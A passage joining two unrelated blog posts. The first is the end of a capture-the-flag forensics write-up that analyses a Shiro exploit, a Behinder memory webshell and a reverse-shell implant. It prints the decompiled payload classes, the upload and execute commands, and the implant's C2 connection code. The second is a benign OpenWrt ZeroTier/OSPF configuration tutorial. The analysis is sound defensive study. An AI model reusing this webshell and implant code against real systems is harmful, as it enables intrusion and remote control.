so2.getClass().getMethod("flush", new Class[0]).invoke(so2, new Object[0]); so2.getClass().getMethod("close", new Class[0]).invoke(so2, new Object[0]); return true; } catch (Exception e3) { e3.printStackTrace(); return true; } } } catch (Throwable th) { try { Object so3 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write3 = so3.getClass().getMethod("write", byte[].class); write3.invoke(so3, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so3.getClass().getMethod("flush", new Class[0]).invoke(so3, new Object[0]); so3.getClass().getMethod("close", new Class[0]).invoke(so3, new Object[0]); } catch (Exception e4) { e4.printStackTrace(); } throw th; } } private String buildJson(Map<String, String> entity, boolean encode) throws Exception { StringBuilder sb = new StringBuilder(); System.getProperty("java.version"); sb.append("{"); for (String key : entity.keySet()) { sb.append("\"" + key + "\":\""); String value = entity.get(key); if (encode) { value = base64encode(value.getBytes()); } sb.append(value); sb.append("\","); } if (sb.toString().endsWith(",")) { sb.setLength(sb.length() - 1); } sb.append("}"); return sb.toString(); } private void fillContext(Object obj) throws Exception { if (obj.getClass().getName().indexOf("PageContext") >= 0) { this.Request = obj.getClass().getMethod("getRequest", new Class[0]).invoke(obj, new Object[0]); this.Response = obj.getClass().getMethod("getResponse", new Class[0]).invoke(obj, new Object[0]); this.Session = obj.getClass().getMethod("getSession", new Class[0]).invoke(obj, new Object[0]); } else { Map<String, Object> objMap = (Map) obj; this.Session = objMap.get("session"); this.Response = objMap.get("response"); this.Request = objMap.get("request"); } this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8"); } private String base64encode(byte[] data) throws Exception { String result; System.getProperty("java.version"); try { getClass(); Class Base64 = Class.forName("java.util.Base64"); Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null); result = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data); } catch (Throwable th) { getClass(); Object Encoder2 = Class.forName("sun.misc.BASE64Encoder").newInstance(); String result2 = (String) Encoder2.getClass().getMethod("encode", byte[].class).invoke(Encoder2, data); result = result2.replace("\n", "").replace("\r", ""); } return result; } private byte[] getMagic() throws Exception { String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString(); int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16; Random random = new Random(); byte[] buf = new byte[magicNum]; for (int i = 0; i < buf.length; i++) { buf[i] = (byte) random.nextInt(256); } return buf; } } {/collapse-item} {/collapse} It simply returned the data string 1oMRO2dvZFDzLDMX8h...mqNGvJnB3v and base64 encoded it. Decoding the response confirmed this. Continuing to decrypt and reverse the second request: {collapse} {collapse-item label="Code - Click to show"} package org.arkpoti.qegfs; import java.io.File; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.net.Inet4Address; import java.net.InetAddress; import java.net.NetworkInterface; import java.net.SocketException; import java.util.Enumeration; import java.util.HashMap; import java.util.Map; import java.util.Properties; import java.util.Random; import java.util.Set; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; /* compiled from: BasicInfo.java */ /* loaded from: payload-favicondemo(2).ico.class */ public class Huhmocmx { public static String whatever; private Object Request; private Object Response; private Object Session; private byte[] Encrypt(byte[] bArr) throws Exception { SecretKeySpec secretKeySpec = new SecretKeySpec("1f2c8075acd3d118".getBytes("utf-8"), "AES"); Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding"); cipher.init(1, secretKeySpec); byte[] bArrDoFinal = cipher.doFinal(bArr); try { Class<?> cls = Class.forName("java.util.Base64"); Object objInvoke = cls.getMethod("getEncoder", null).invoke(cls, null); bArrDoFinal = (byte[]) objInvoke.getClass().getMethod("encode", byte[].class).invoke(objInvoke, bArrDoFinal); } catch (Throwable th) { Object objNewInstance = Class.forName("sun.misc.BASE64Encoder").newInstance(); bArrDoFinal = ((String) objNewInstance.getClass().getMethod("encode", byte[].class).invoke(objNewInstance, bArrDoFinal)).replace("\n", "").replace("\r", "").getBytes(); } return bArrDoFinal; } public Huhmocmx() { whatever = ""; whatever += "[binary]"; } public boolean equals(Object obj) throws IllegalAccessException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException { Map<String, String> result = new HashMap<>(); try { fillContext(obj); StringBuilder basicInfo = new StringBuilder(" 环境变量: "); Map<String, String> env = System.getenv(); for (String name : env.keySet()) { basicInfo.append(name + "=" + env.get(name) + " "); } basicInfo.append(" JRE系统属性: "); Properties props = System.getProperties(); Set<Map.Entry<Object, Object>> entrySet = props.entrySet(); for (Map.Entry<Object, Object> entry : entrySet) { basicInfo.append(entry.getKey() + " = " + entry.getValue() + " "); } String currentPath = new File("").getAbsolutePath(); String driveList = ""; File[] roots = File.listRoots(); for (File f : roots) { driveList = driveList + f.getPath() + ";"; } String osInfo = System.getProperty("os.name") + System.getProperty("os.version") + System.getProperty("os.arch"); Map<String, String> entity = new HashMap<>(); entity.put("basicInfo", basicInfo.toString()); entity.put("currentPath", currentPath); entity.put("driveList", driveList); entity.put("osInfo", osInfo); entity.put("arch", System.getProperty("os.arch")); entity.put("localIp", getInnerIp()); result.put("status", "success"); result.put("msg", buildJson(entity, true)); try { Object so = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write = so.getClass().getMethod("write", byte[].class); write.invoke(so, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so.getClass().getMethod("flush", new Class[0]).invoke(so, new Object[0]); so.getClass().getMethod("close", new Class[0]).invoke(so, new Object[0]); return true; } catch (Exception e) { return true; } } catch (Exception e2) { try { Object so2 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write2 = so2.getClass().getMethod("write", byte[].class); write2.invoke(so2, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so2.getClass().getMethod("flush", new Class[0]).invoke(so2, new Object[0]); so2.getClass().getMethod("close", new Class[0]).invoke(so2, new Object[0]); return true; } catch (Exception e3) { return true; } } catch (Throwable th) { try { Object so3 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write3 = so3.getClass().getMethod("write", byte[].class); write3.invoke(so3, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so3.getClass().getMethod("flush", new Class[0]).invoke(so3, new Object[0]); so3.getClass().getMethod("close", new Class[0]).invoke(so3, new Object[0]); } catch (Exception e4) { } throw th; } } private String getInnerIp() throws SocketException { String ips = ""; try { Enumeration<NetworkInterface> netInterfaces = NetworkInterface.getNetworkInterfaces(); while (netInterfaces.hasMoreElements()) { NetworkInterface netInterface = netInterfaces.nextElement(); Enumeration<InetAddress> addresses = netInterface.getInetAddresses(); while (addresses.hasMoreElements()) { InetAddress ip = addresses.nextElement(); if (ip != null && (ip instanceof Inet4Address)) { ips = ips + ip.getHostAddress() + " "; } } } } catch (Exception e) { } return ips.replace("127.0.0.1", "").trim(); } private String buildJson(Map<String, String> entity, boolean encode) throws Exception { StringBuilder sb = new StringBuilder(); String version = System.getProperty("java.version"); sb.append("{"); for (String key : entity.keySet()) { sb.append("\"" + key + "\":\""); String value = entity.get(key).toString(); if (encode) { if (version.compareTo("1.9") >= 0) { getClass(); Class Base64 = Class.forName("java.util.Base64"); Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null); value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8")); } else { getClass(); Object Encoder2 = Class.forName("sun.misc.BASE64Encoder").newInstance(); value = ((String) Encoder2.getClass().getMethod("encode", byte[].class).invoke(Encoder2, value.getBytes("UTF-8"))).replace("\n", "").replace("\r", ""); } } sb.append(value); sb.append("\","); } sb.setLength(sb.length() - 1); sb.append("}"); return sb.toString(); } private String base64encode(byte[] data) throws Exception { String result; System.getProperty("java.version"); try { getClass(); Class Base64 = Class.forName("java.util.Base64"); Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null); result = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data); } catch (Throwable th) { getClass(); Object Encoder2 = Class.forName("sun.misc.BASE64Encoder").newInstance(); String result2 = (String) Encoder2.getClass().getMethod("encode", byte[].class).invoke(Encoder2, data); result = result2.replace("\n", "").replace("\r", ""); } return result; } private void fillContext(Object obj) throws Exception { if (obj.getClass().getName().indexOf("PageContext") >= 0) { this.Request = obj.getClass().getMethod("getRequest", new Class[0]).invoke(obj, new Object[0]); this.Response = obj.getClass().getMethod("getResponse", new Class[0]).invoke(obj, new Object[0]); this.Session = obj.getClass().getMethod("getSession", new Class[0]).invoke(obj, new Object[0]); } else { Map<String, Object> objMap = (Map) obj; this.Session = objMap.get("session"); this.Response = objMap.get("response"); this.Request = objMap.get("request"); } this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8"); } private byte[] getMagic() throws Exception { String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString(); int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16; Random random = new Random(); byte[] buf = new byte[magicNum]; for (int i = 0; i < buf.length; i++) { buf[i] = (byte) random.nextInt(256); } return buf; } } {/collapse-item} {/collapse} This retrieved system information. Decoding the response confirmed this. Subsequent decryption and reversal revealed the execution of several system commands, including listing /tmp, /var, /var/tmp. Later, a file write operation was found: package sun.yxiw; ... /* compiled from: FileOperation.java */ /* loaded from: payload-favicondemo(18).ico.class */ public class Auydc { ... public Auydc() { mode = ""; mode += "update"; path = ""; path += "/var/tmp/out"; blockIndex = ""; blockIndex += "2"; blockSize = ""; blockSize += "30720"; content = ""; content += "h61Bx+...X2zlQkI5M"; this.osCharset = Charset.forName(System.getProperty("sun.jnu.encoding")); } ... } This appended Base64-decoded content to /var/tmp/out. Many similar append requests followed. Wireshark's Export Objects feature was used to export all 737 files related to /favicondemo.ico. A Python script was written to decrypt and save them as class files or text files based on content. This revealed the multi-part upload of a binary. Finally, a hash check was performed: package sun.pquyv; ... /* compiled from: FileOperation.java */ /* loaded from: payload-favicondemo(722).ico.class */ public class Yfnc { ... public Yfnc() { mode = ""; mode += "check"; path = ""; path += "/var/tmp/out"; hash = ""; hash += "a0275c1593af1adb"; this.osCharset = Charset.forName(System.getProperty("sun.jnu.encoding")); } private String checkFileHash(String path2) throws Exception { FileChannel ch = (FileChannel) sessionGetAttribute(this.Session, path2); if (ch != null && ch.isOpen()) { ch.close(); } byte[] input = getFileData(path2); if (input == null || input.length == 0) { return null; } MessageDigest md5 = MessageDigest.getInstance("MD5"); md5.update(input); byte[] byteArray = md5.digest(); StringBuilder sb = new StringBuilder(); for (byte b : byteArray) { sb.append(String.format("%02x", Byte.valueOf(b))); } return sb.substring(0, 16); } ... } Execution permissions were granted: package net.zlzbr.fsio.vbycsd; ... /* compiled from: Cmd.java */ /* loaded from: payload-favicondemo(734).ico.class */ public class Xxzrrw { public static String cmd; public static String path; public static String whatever; private static String status = "success"; private Object Request; private Object Response; private Object Session; ... public Xxzrrw() { cmd = ""; cmd += "cd /var/tmp/ ;chmod +x out"; path = ""; path += "/var/tmp/"; } ... } Then it was executed: package org.zhnnj; ... /* compiled from: Cmd.java */ /* loaded from: payload-favicondemo(736).ico.class */ public class Imrdoaaxs { ... public Imrdoaaxs() { cmd = ""; cmd += "cd /var/tmp/ ;./out --aes-key IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs="; path = ""; path += "/var/tmp/"; } ... } This provided an aes-key: IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=. No further HTTP communication occurred after this. Layer 3: Custom Shell Following the HTTP stream, a TCP stream communication was found. Dumping it revealed: 1f000000 33740a2c22b1e703d2f1480b321f3e4cdc8eb50da84ca0a76543b6bbadf60a 24000000 5c8a2365d717d71114b7be5599d5cfff553f2f0b2251505c3f5ada10a77be1bf35852f9c 1e000000 e3ee79aaf91b813d407e18095278046d32c10567fe57d60459d32f6df234 1f000000 bd345efc1465b04f38a410a09ed999e9849a570c27dd75e8d6b8aac5a4f22f 30000000 be53ef2dc360548f22bd7145f4e1733ffeb228db69b28e76ccb65ea9d8e33a709cfae6579a795f4045dbc2f6300cd871 2b000000 2b7991ad1cfcb2c0b334f5ee5cfb1be844f232c5062190e5e7bfb2208ef40aec6cff1aa7df01285fd3a92a 6e000000 8ac33897541bf959bb223309ffa07a25c49245bb988404180f84d7baef2c2ca8dfd669d39d3fa9c9e66b3da81834c7121cad53ffb16b38dcb062b2b3ce1b634f3bac9ed6e161661efb67ab754eb078718c484cb1b9ec873a103035fdc0b28ed418aa11e68b561599b9685ae54b95 69000000 5fb656ee12487f33e75202b3bec1a6728977618d6b221fb887fa90d36cb5ff75949c1ae90608e22fc81a12fb2e576dd2df4330fcbf619b19455dcfe6c9ae2a8e730cf9010dcc3a15f04bec1fa70b051792d4e197cee0f075405b366472711d1d94f5bb349348bf05d5 24000000 410d930f46d9e71c2200eb1fc4ec9986fd2d72ab2c35aa85fe66fa664a3729e3e9a906b6 1f000000 7ccb9636b4b330000914519540b5a3b0bacb6f594c3b03ff582d62084c1af4 Due to the variable length, ECB and CBC were unlikely. GCM was considered a strong possibility, especially as the first two command lengths (31 and 30 bytes after decryption) corresponded to typical commands like pwd and ls, with the remaining bytes matching GCM's structure (12-byte nonce, 16-byte tag). Attempting GCM decryption: import base64 import binascii from Crypto.Cipher import AES key = base64.b64decode("IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=") hex_str = """ 1f000000 33740a2c22b1e703d2f1480b321f3e4cdc8eb50da84ca0a76543b6bbadf60a 24000000 5c8a2365d717d71114b7be5599d5cfff553f2f0b2251505c3f5ada10a77be1bf35852f9c 1e000000 e3ee79aaf91b813d407e18095278046d32c10567fe57d60459d32f6df234 1f000000 bd345efc1465b04f38a410a09ed999e9849a570c27dd75e8d6b8aac5a4f22f 30000000 be53ef2dc360548f22bd7145f4e1733ffeb228db69b28e76ccb65ea9d8e33a709cfae6579a795f4045dbc2f6300cd871 2b000000 2b7991ad1cfcb2c0b334f5ee5cfb1be844f232c5062190e5e7bfb2208ef40aec6cff1aa7df01285fd3a92a 6e000000 8ac33897541bf959bb223309ffa07a25c49245bb988404180f84d7baef2c2ca8dfd669d39d3fa9c9e66b3da81834c7121cad53ffb16b38dcb062b2b3ce1b634f3bac9ed6e161661efb67ab754eb078718c484cb1b9ec873a103035fdc0b28ed418aa11e68b561599b9685ae54b95 69000000 5fb656ee12487f33e75202b3bec1a6728977618d6b221fb887fa90d36cb5ff75949c1ae90608e22fc81a12fb2e576dd2df4330fcbf619b19455dcfe6c9ae2a8e730cf9010dcc3a15f04bec1fa70b051792d4e197cee0f075405b366472711d1d94f5bb349348bf05d5 24000000 410d930f46d9e71c2200eb1fc4ec9986fd2d72ab2c35aa85fe66fa664a3729e3e9a906b6 1f000000 7ccb9636b4b330000914519540b5a3b0bacb6f594c3b03ff582d62084c1af4 """.replace('\n', '').replace(' ', '') data = binascii.unhexlify(hex_str) i = 0 chunk_idx = 0 while i < len(data): length = int.from_bytes(data[i:i+4], 'little') i += 4 chunk = data[i:i+length] i += length nonce = chunk[:12] ciphertext = chunk[12:-16] tag = chunk[-16:] cipher = AES.new(key, AES.MODE_GCM, nonce=nonce) plaintext = cipher.decrypt_and_verify(ciphertext, tag) print(f"{chunk_idx}: len{len(plaintext)}: {plaintext}") chunk_idx += 1 The output was: 0: len3: b'pwd' 1: len8: b'/var/tmp' 2: len2: b'ls' 3: len3: b'out' 4: len20: b'echo Congratulations' 5: len15: b'Congratulations' 6: len82: b'echo 3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi' 7: len77: b'3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi' 8: len8: b'echo bye' 9: len3: b'bye' Putting 3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi through CyberChef, applying Base58 then Base64 decryption yielded the Flag: dart{d9850b27-85cb-4777-85e0-df0b78fdb722} A later attempt to fully extract and reverse engineer the binary uploaded in chunks confirmed it was a PyInstaller-packaged ELF. Decompiling the extracted inspect.pyc revealed: # Visit https://www.lddgo.net/string/pyc-compile-decompile for more information # Version : Python 3.9 import os import socket import struct import subprocess import argparse import settings import base64 from cryptography.hazmat.primitives.ciphers.aead import AESGCM SERVER_LISTEN_IP = '10.1.243.155' SERVER_LISTEN_PORT = 7788 IMPLANT_CONNECT_IP = '10.1.243.155' IMPLANT_CONNECT_PORT = 7788 SERVER_LISTEN_NUM = 20 _aesgcm = None def set_aes_key(key_b64 = None): global _aesgcm key = base64.b64decode(key_b64) if len(key) not in (16, 24, 32): raise ValueError('AES 密钥长度必须为 16, 24 或 32 字节（对应 128, 192, 256 位）') _aesgcm = None(key) def encrypt_data(data = None): if _aesgcm is None: raise RuntimeError('AES 密钥未初始化，请先调用 set_aes_key()') nonce = None.urandom(12) ciphertext = _aesgcm.encrypt(nonce, data, None) return nonce + ciphertext def decrypt_data(encrypted_data = None): if _aesgcm is None: raise RuntimeError('AES 密钥未初始化，请先调用 set_aes_key()') if None(encrypted_data) < 28: raise ValueError('加密数据太短，无法包含 nonce 和认证标签') nonce = None[:12] ciphertext_with_tag = encrypted_data[12:] plaintext = _aesgcm.decrypt(nonce, ciphertext_with_tag, None) return plaintext def exec_cmd(command, code_flag): command = command.decode('utf-8') # WARNING: Decompyle incomplete def send_data(conn, data): if type(data) == str: data = data.encode('utf-8') encrypted_data = settings.encrypt_data(data) cmd_len = struct.pack('i', len(encrypted_data)) conn.send(cmd_len) conn.send(encrypted_data) def recv_data(sock, buf_size = (1024,)): x = sock.recv(4) all_size = struct.unpack('i', x)[0] recv_size = 0 encrypted_data = b'' if recv_size < all_size: encrypted_data += sock.recv(buf_size) recv_size += buf_size continue data = settings.decrypt_data(encrypted_data) return data def main(): sock = socket.socket() sock.connect((settings.IMPLANT_CONNECT_IP, settings.IMPLANT_CONNECT_PORT)) code_flag = 'gbk' if os.name == 'nt' else 'utf-8' # WARNING: Decompyle incomplete if __name__ == '__main__': parser = argparse.ArgumentParser('', **('description',)) parser.add_argument('--aes-key', True, '', **('required', 'help')) args = parser.parse_args() settings.set_aes_key(args.aes_key) main() This confirmed the use of AES-GCM. Summary The complete attack chain was as follows: sequenceDiagram participant Attacker as Attacker / C2 Server participant WebServer as Web App Layer (Shiro / Behinder WebShell) participant OS as Underlying System (Linux OS) rect rgb(240, 248, 255) note right of Attacker: Phase 1: Shiro Exploitation & RCE Attacker->>WebServer: Continuous brute-force of rememberMe Cookie (CVE-2016-4437) WebServer-->>Attacker: 302 Redirect (Brute-force successful, AES Key obtained) Attacker->>WebServer: Send RCE Payload (Commands via Authorization header) WebServer->>OS: Spawn process to execute commands (whoami, ls -la, etc.) OS-->>WebServer: Return standard output (root, etc.) WebServer-->>Attacker: Return Base64 encrypted command results end rect rgb(255, 240, 245) note right of Attacker: Phase 2: Inject Memory-Shell & Post-Exploration Attacker->>WebServer: POST request to inject Behinder memory-shell WebServer-->>Attacker: Return injection success indicator (->|Success|<-) Attacker->>WebServer: Access /favicondemo.ico, send AES encrypted Java Classes WebServer->>OS: Read environment variables, network info, list /tmp & /var/tmp OS-->>WebServer: Return system status and file lists WebServer-->>Attacker: Return AES encrypted exploration results end rect rgb(240, 255, 240) note right of Attacker: Phase 3: Chunked Upload & Execution of Persistent Malware Attacker->>WebServer: Multiple requests to upload ELF malware in chunks WebServer->>OS: Append payload chunks to /var/tmp/out Attacker->>WebServer: Send hash verification request WebServer->>OS: Calculate MD5 hash of /var/tmp/out OS-->>WebServer: Verification successful WebServer-->>Attacker: Return hash confirming file integrity Attacker->>WebServer: Send commands chmod +x out and ./out --aes-key ... WebServer->>OS: Grant execute permissions and run malware with key parameter end rect rgb(255, 253, 230) note right of Attacker: Phase 4: TCP Reverse Connection & Deep Control OS->>Attacker: Pyinstaller malware initiates TCP reverse connection to C2 (10.1.243.155:7788) Attacker->>OS: Send AES-GCM encrypted commands (pwd, ls, echo) OS-->>Attacker: Return encrypted execution results (final output includes Flag) end Phase 1: Shiro Vulnerability Exploitation and RCE Verification The attacker successfully brute-forced the Apache Shiro AES key by sending GET requests containing rememberMe cookies. Subsequently, the attacker used the Authorization header to pass encrypted commands. The web server executed commands like whoami and returned the Base64 encrypted result root. Phase 2: Implanting Memory Webshell and Initial Control The attacker sent a POST request to the / path containing a Java class, successfully injecting a Behinder memory webshell, establishing the C2 channel on the /favicondemo.ico path. The attacker sent AES-encrypted Java classes through this channel, using the web application layer to read the underlying system's environment variables, IP information (172.18.0.2), and execute basic system commands (e.g., ps -ef). Phase 3: Malware Upload and Execution Through the webshell, the attacker used blockIndex and blockSize parameters to upload an ELF binary in chunks, appending it to /var/tmp/out, and verified its hash (a0275c1593af1adb). The attacker issued the shell command chmod +x out to grant execution permissions and ran the malware on the underlying system using ./out --aes-key .... Phase 4: TCP Reverse Connection to Obtain Flag Once executed, the Python-based malware bypassed the web layer and actively initiated a TCP connection to the attacker's C2 server (10.1.243.155:7788). Both parties switched to AES-GCM encryption. The attacker issued remote control commands like pwd, ls, and echo Congratulations, ultimately retrieving the Flag from the final response. Overall, it was quite an interesting challenge.
[Fun Experiment] A LAN Spanning 20km: Seamlessly Merging Remote Networks on OpenWrt Using ZeroTier + OSPF
Background I was originally setting up my own ZeroTier "big internal network". Because the network structure is relatively complex, I decided to use OSPF instead of static routes to configure internal routing. I had tried to configure ZeroTier on my home OpenWrt before but never succeeded. Recently, I took it out again to work on it and discovered it was a configuration issue with OpenWrt. After fixing it, I was chatting with a good friend and had an idea: Kagura iYoRoy: 02-10 14:49:05 Hey... Kagura iYoRoy: 02-10 14:49:06 Then... Kagura iYoRoy: 02-10 14:49:20 If you also set up OSPF on your router... Kagura iYoRoy: 02-10 14:49:27 Our two home networks would be directly interconnected, huh? ( Let's do it! Basic Information Local Side Router OS: OpenWrt, X-WRT 26.04_b202601250827 LAN IPv4 Prefix: 192.168.3.0/24 ISP: Hefei China Unicom NAT Environment: NAT1 Remote Side Router OS: OpenWrt, X-WRT 25.04_b202510240128 LAN IPv4 Prefix: 192.168.1.0/24 ISP: Hefei China Mobile NAT Environment: NAT1 Installing ZeroTier and Using a Self-Hosted Planet I used ZTNet as the self-hosted Controller. The setup process won't be elaborated here as you can find it online. The OpenWrt version I'm using has started using apk instead of opkg as the package manager. Use apk to install zerotier-one directly: apk add zerotier After completion, open /etc/config/zerotier to find the default configuration file. config zerotier 'global' # Sets whether ZeroTier is enabled or not option enabled 0 # Sets the ZeroTier listening port (default 9993; set to 0 for random) #option port '9993' # Client secret (leave blank to generate a secret on first run) option secret '' # Path of the optional file local.conf (see documentation at # https://docs.zerotier.com/config#local-configuration-options) #option local_conf_path '/etc/zerotier.conf' # Persistent configuration directory (to perform other configurations such # as controller mode or moons, etc.) #option config_path '/etc/zerotier' # Copy the contents of the persistent configuration directory to memory # instead of linking it, this avoids writing to flash #option copy_config_path '1' # Network configuration, you can have as many configurations as networks you # want to join (the network name is optional) config network 'earth' # Identifier of the network you wish to join option id '8056c2e21c000001' # Network configuration parameters (all are optional, if not indicated the # default values are set, see documentation at # https://docs.zerotier.com/config/#network-specific-configuration) option allow_managed '1' option allow_global '0' option allow_default '0' option allow_dns '0' # Example of a second network (unnamed as it is optional) #config network # option id '1234567890123456' # option allow_managed '1' # option allow_global '0' # option allow_default '0' # option allow_dns '0' Modify it according to your needs: config zerotier 'global' option enabled '1' # Enable ZeroTier client service option config_path '/etc/zerotier' # Persistent directory: for storing identity secret, Moon node definitions, and network settings option secret '' # Leave secret blank: identity will be auto-generated on first run and saved to identity.secret option copy_config_path '1' # Flash protection policy: copy config to memory on startup. If set to 0, read/write directly to Flash config network 'earth' option id '<network ID>' # 16-digit ZeroTier Network ID option allow_managed '1' # Allow receiving controller-assigned IPs, routes, and tags option allow_global '1' # Allow receiving globally routable IPv6 unicast addresses (GUA) via ZeroTier option allow_default '0' # Allow ZeroTier to take over the default gateway (similar to a global proxy) option allow_dns '1' # Allow receiving and using DNS servers configured in the ZeroTier control panel Regarding copy_config_path '1' Because the ZeroTier working directory /var/lib/zerotier-one is part of tmpfs in OpenWrt, its contents are cleared on reboot. Therefore, configurations like planet, identity, and network files need to be stored in the router's Flash storage, i.e., the path set in config_path. The default logic is to create a soft link from the configured config_path to /var/lib/zerotier-one on startup to achieve persistence. All read/write operations in /var/lib/zerotier-one are then written to Flash. However, frequent ZeroTier read/writes can significantly reduce Flash lifespan. Enabling copy_config_path '1' specifies that on ZeroTier startup, the configurations from config_path are copied directly into /var/lib/zerotier-one. This greatly extends the internal Flash lifespan, but the downside is that modifications made via zerotier-cli are not automatically synced back to Flash by default, making this option less suitable for scenarios requiring frequent configuration adjustments. After making changes, use: /etc/init.d/zerotier start /etc/init.d/zerotier enable to start ZeroTier and enable auto-start on boot. On first startup, if the secret field was left empty, it will be auto-generated. After startup, copy all files from /var/lib/zerotier-one to /etc/zerotier. Download the Planet file to the config_path set above, i.e., /etc/zerotier. After completion, restart ZeroTier: /etc/init.d/zerotier restart That's it. Then, go to your ZeroTier Controller console, and you should see the new device has joined. Next, you may need to allow ZeroTier traffic through the firewall. This step can be referenced from other online tutorials. I chose to allow all traffic; it shouldn't be a big issue under NAT1. Installing and Configuring Bird2 I didn't expect the Bird2 version in the apk repository to be very recent. As of this writing on 2026-02-10, the Bird2 version in apk is 2.18 Use the following command to install: apk add bird2 # bird daemon itself apk add bird2c # birdc command Because OpenWrt's default bird configuration file is located at /etc/bird.conf, and I prefer modular referencing by placing different configurations in separate folders based on function, I chose to move the default config file to /etc/bird/bird.conf and store various config files within that folder. Open /etc/init.d/bird: #!/bin/sh /etc/rc.common # Copyright (C) 2010-2017 OpenWrt.org USE_PROCD=1 START=70 STOP=10 BIRD_BIN="/usr/sbin/bird" BIRD_CONF="/etc/bird.conf" BIRD_PID_FILE="/var/run/bird.pid" start_service() { mkdir -p /var/run procd_open_instance procd_set_param command $BIRD_BIN -f -c $BIRD_CONF -P $BIRD_PID_FILE procd_set_param file "$BIRD_CONF" procd_set_param stdout 1 procd_set_param stderr 1 procd_set_param respawn procd_close_instance } reload_service() { procd_send_signal bird } Change the BIRD_CONF value to /etc/bird/bird.conf: - BIRD_CONF="/etc/bird.conf" + BIRD_CONF="/etc/bird/bird.conf" Then create the /etc/bird folder. All subsequent OSPF configuration files will be placed here. Configuring OSPF My configuration file structure follows these rules: /etc/bird/bird.conf serves as the sole entry point, defining basic configurations like Router ID, filter prefixes, and then including other sub-configurations. Configurations for different networks are placed in separate folders, e.g., public internet parts in /etc/bird/inet/, DN42 parts in /etc/bird/dn42/, and my own internal network parts in /etc/bird/intra/. Each network has a defs.conf handling common functions (similar to utils in Golang development?). Thus, the final configuration file structure is: /etc/bird/bird.conf: Configuration entry point define INTRA_ROUTER_ID = 100.64.0.100; define INTRA_PREFIX_V4 = [ 100.64.0.0/16+, 192.168.0.0/16+ ]; # IPv4 prefixes allowed to be advertised via OSPF define INTRA_PREFIX_V6 = [ fd18:3e15:61d0::/48+ ]; # IPv6 prefixes allowed to be advertised via OSPF protocol device { scan time 10; }; ipv4 table intra_table_v4; # Define internal routing IPv4 table ipv6 table intra_table_v6; # Define internal routing IPv6 table include "intra/defs.conf"; include "intra/kernel.conf"; include "intra/ospf.conf"; The RouterID here is directly taken from the node's IPv4 address within the ZeroTier internal network. Separate tables are used for future safety, e.g., if connecting this node to DN42. /etc/bird/intra/defs.conf: Functions for filters function is_intra_net4() { return net ~ INTRA_PREFIX_V4; } function is_intra_net6(){ return net ~ INTRA_PREFIX_V6; } function is_intra_dn42_net4(){ return net ~ [ 172.20.0.0/14+ ]; } function is_intra_dn42_net6(){ return net ~ [ fd00::/8+ ]; } /etc/bird/intra/kernel.conf: Write routes learned by OSPF into the system routing table protocol kernel intra_kernel_v4 { kernel table 254; scan time 20; ipv4 { table intra_table_v4; import none; export filter { if source = RTS_STATIC then reject; accept; }; }; }; protocol kernel intra_kernel_v6 { kernel table 254; scan time 20; ipv6 { table intra_table_v6; import none; export filter { if source = RTS_STATIC then reject; accept; }; }; }; /etc/bird/intra/ospf.conf: OSPF module protocol ospf v3 intra_ospf_v4 { router id INTRA_ROUTER_ID; # Specify RouterID ipv4 { table intra_table_v4; # Specify routing table import where is_intra_dn42_net4() || is_intra_net4() && source != RTS_BGP; export where is_intra_dn42_net4() || is_intra_net4() && source != RTS_BGP; }; include "ospf/*"; }; protocol ospf v3 intra_ospf_v6 { router id INTRA_ROUTER_ID; # Specify RouterID ipv6 { table intra_table_v6; # Specify routing table import where is_intra_dn42_net6() || is_intra_net6() && source != RTS_BGP; export where is_intra_dn42_net6() || is_intra_net6() && source != RTS_BGP; }; include "ospf/*"; }; /etc/bird/intra/ospf/backbone.conf: OSPF Area Configuration area 0.0.0.0 { interface "br-lan" { stub; }; # Local LAN interface interface "zta7oqfzy6" { # ZeroTier interface type broadcast; cost 100; hello 20; }; }; After completion, use: /etc/init.d/bird start /etc/init.d/bird enable to start Bird and enable auto-start on boot. If everything is fine, you can use birdc s p to check Bird's status. If all goes well, after the other side is configured, you should see the OSPF state as Running: root@X-WRT:/etc/bird# birdc s p BIRD 2.18 ready. Name Proto Table State Since Info device1 Device --- up 14:28:02.410 intra_kernel_v4 Kernel intra_table_v4 up 14:28:02.410 intra_kernel_v6 Kernel intra_table_v6 up 14:28:02.410 intra_ospf_v4 OSPF intra_table_v4 up 14:28:02.410 Running intra_ospf_v6 OSPF intra_table_v6 up 